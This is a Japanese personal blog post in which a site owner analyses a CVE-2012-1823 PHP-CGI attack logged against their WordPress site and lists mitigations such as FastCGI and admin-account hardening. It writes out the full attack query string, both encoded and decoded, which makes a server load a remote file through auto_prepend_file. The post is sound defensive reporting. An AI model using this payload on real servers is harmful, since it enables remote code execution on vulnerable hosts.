PHP-CGIリモートコード実行(CVE-2012-1823)攻撃を受けての状況と対策

こんばんにゃ(^○^)/どうも、じゅじゅいちです。

突然ですが、なにも考えずにインターネット上でサーバ攻撃を毎日のようにしている方々に言いたいことがあります。面倒なのでやめてください(´;ω;`)ウゥゥ

本日未明に私のウェブサイトが攻撃に遭いました。結果的に問題なかったのですが、状況と対策をログとして残しておきたいと思います。

■サイトの攻撃について

さくらインターネットにWebアプリケーションファイアウォールがありますが、この機能が攻撃を検知しました。

検知ログは以下の通り。

[90104004] PHP-CGIリモートコード実行(CVE-2012-1823)攻撃の可能性 (.php?-s)

PHP-CGIリモートコード実行(CVE-2012-1823)攻撃とは

IIJ Security Diary: CVE-2012-1823 CVE-2012-2311 PHPのCGIモードにおける脆弱性について

この脆弱性は2012年5月3日にリリースされたPHPバージョン5.3.12と5.4.2において 明らかになりました。CGIモードにて動作させている場合のみ影響を受けますが、 対象となる環境ではリモートからソースコード漏洩、任意コード実行を引き起こす攻撃が可能です。

怖いですね。具体的なことはここでは分からなかったのでログを調べてみることに。

■アクセスログ

WordPressのプラグインにStatPressというアクセス解析があるのですが、これを見てみます。WordPress上でも確認できますが、自分の好きに見るにはDBに入っているデータを直接見たほうが良いですね。テーブル名はデフォルトでは”statpress”となっていると思います。好みによってCSV形式などでエクスポートすると見やすいかと思われます。

このログを見た結果以下のことが分かりました。

日時(期間)
2012/11/25 01:18:03~10:39:40
回数
1421回
攻撃
-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F■■■■%3A8080%2Fecho.txt
UA
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)
IP
(全て同一)

秒単位ではバラバラですが、1時間当たりにするとほぼコンスタントに攻撃がありました。しかも攻撃方法は一緒。

■攻撃詳細

攻撃URLをURLエンコードして見やすい形にすると。

-dsafe_mode=Off
-ddisable_functions=NULL
-dallow_url_fopen=On
-dallow_url_include=On
-dauto_prepend_file=http://■■■■:8080/echo.txt

となります。このうち-dオプションはphp.iniで指定できる設定ディレクティブにカスタム値を設定する指定なので-dを外すと項目が見えてきます。

safe_mode
セーフモードを有効にするか否か。オフにするとセキュリティ上危険な関数が有効になるみたいな感じですかね。
disable_functions
特定の関数をセキュリティの観点から無効にすることができるようです。
allow_url_fopen
PHPで直接URLを指定して外部ファイルを読み込めるようにするかどうか。
allow_url_include
オンになっているとinclude()、include_once()、require()、require_once()などの関数に外部URLが使用できるみたいですね。
auto_prepend_file
これも外部URLのファイルを読み込ませるようにできる感じですね。

つまりセキュリティを甘くして外部ファイルを読み込み可にし、そこに危険なコードを埋め込んで攻撃しようって寸法ですかね。

ちなみに外部ファイル(http://■■■■:8080/echo.txt)の中身は
<?php echo “なにやらランダムな文字列”;?>
ただの文字列出力でした(?)。

■対策

対策は以下のサイトに書かれています。
http://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html

当脆弱性の対策としては、ApacheモジュールまたはFastCGIへの移行を推奨します。

使ってるレンタルサーバはFastCGIなので何もしなくてOKでした^^
確認方法としてはphpinfo()を実行します。”Server API”の欄に”CGI/FastCGI”と表示されていればFastCGIのようです。

ところでCGI版/モジュール版って何よ?ってのはこちらが参考になります。

PHPのCGI版、モジュール版とは…

さらにFastCGIとは

FastCGI – Wikipedia

FastCGIは、プロセスをメモリ上に永続化させることで、その起動と終了にかかる時間をカットし、結果としてプログラム動作速度の向上およびサーバ負荷の低下が可能となる。最初にプロセスが実行された段階で、そのプロセスはメモリ上に格納され、次の要求に対してはそのメモリに格納されたプロセスを実行する。

■ついでにセキュリティ強化

WordPressセキュリティ

●管理者ユーザーの変更方法
ユーザをデフォルトのadminにしていると危ないので変えましょう。
既にadminを作っていると変更できないので、新たな管理者権限ユーザを作ってadminを消します。

1.新しく管理者権限を与えるユーザーを作成する。権限グループは「管理者」で。
2.ユーザー一覧より「admin」ユーザーを削除する
3.削除するユーザーが所有していた投稿やリンクをどのようにするかとWordPressが確認してくるので、「すべての投稿とリンクを次のユーザーに割り当てる」を選択し、新たに作成したユーザに割り当てます。

これでadminは使えなくなり、ちょっとセキュリティが高まりましたね。

●その他
こちらをご覧ください。
WordPressのセキュリティを徹底強化 | CSSPRO

IPによるアクセス禁止

あまり意味は無いかもしれませんが、攻撃してきたIPをアクセス禁止にしてみましょう。
.htaccessに書きますが、さくらインターネットのサーバコントロールパネルで簡単に設定できます。

ファイルマネージャー>表示アドレスへの操作>アクセス設定
で出てきたウィンドウの接続元アクセス制限>拒否するアクセスのリスト
で追加ボタン、IPアドレスに記述
という感じです。

■おしまいにゃ

今後も追記はしていくと思います。それにしても同じ攻撃を1400回も繰り返す必要があるんですかね。良く分かりませんが。

それではまた。

コメント